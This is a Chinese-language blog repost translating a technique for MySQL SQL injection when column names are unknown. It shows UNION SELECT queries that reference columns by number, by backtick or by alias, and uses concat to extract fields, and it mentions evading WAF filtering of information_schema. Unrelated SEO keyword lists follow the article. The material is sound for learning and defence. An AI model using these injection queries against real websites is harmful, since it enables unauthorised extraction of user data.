MySQL在不知道列名情况下的注入详解
发表于:2025-11-10 作者:千家信息网编辑
千家信息网最后更新 2025年11月10日,前言最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧前提以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[
千家信息网最后更新 2025年11月10日MySQL在不知道列名情况下的注入详解
前言
最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧
前提
以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库],且已获取到库名和表名
① 当只能获取到表名,获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构,即表名、列名等,但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些,因为对我来说,一般遇到waf就放弃了(菜的真实23333)
解决
正常的查询:
以下是正常查询 test 库中的 user 表内容
select * from user;

UNION查询:
select 1,2,3,4 union select * from user;

数字对应列查询:
可以使用数字来对应列来进行查询,如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询:
当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合并查询:
同上:这里反引号不能用的话,一样可以使用别名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
仅作翻译以及思路整理
原文链接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对的支持。
查询
内容
情况
别名
引号
感觉
数字
版本
还是
学习
实用
有效
舒服
个人
价值
前提
前言
原文
实用性
就是
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
上海常规软件开发定制哪个好
校园公共网络安全吗
采编人员加强自律网络安全
数据库中什么是基表
什么单位负责网络安全工作
四川睿豆互联网科技
软件开发科研项目
日本数据库设计效果图
马云马化腾互联网科技
私法领域网络安全问题浅议
普陀区软件开发技术服务案例
点评荷兰的网络安全
bcd软件开发
自学计算机网络技术专业怎么样
网络技术工程专业的高校
服务器托管人员
个人家庭服务器搭建
校园图书馆网络安全的不足
关于网络技术的句子
网络安全培训机构哪家好知乎
信息与网络安全的推荐信
什么单位负责网络安全工作
南昌敏纷互联网科技有限公司
应用软件开发转算法工程师
数据库属于数据模型
互联网科技有限公司取名
网络安全情景导入
物理服务器租赁
软考云数据库
网络安全十条规定